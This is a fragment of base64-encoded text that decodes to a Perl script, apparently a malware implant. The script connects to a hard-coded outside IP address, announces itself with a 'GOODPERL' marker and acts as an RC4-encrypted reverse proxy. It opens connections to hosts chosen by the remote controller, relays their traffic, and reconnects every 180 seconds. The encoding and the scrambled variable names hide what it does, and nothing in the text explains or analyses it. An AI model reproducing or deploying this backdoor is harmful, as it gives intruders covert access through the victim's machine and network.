pLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTgnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1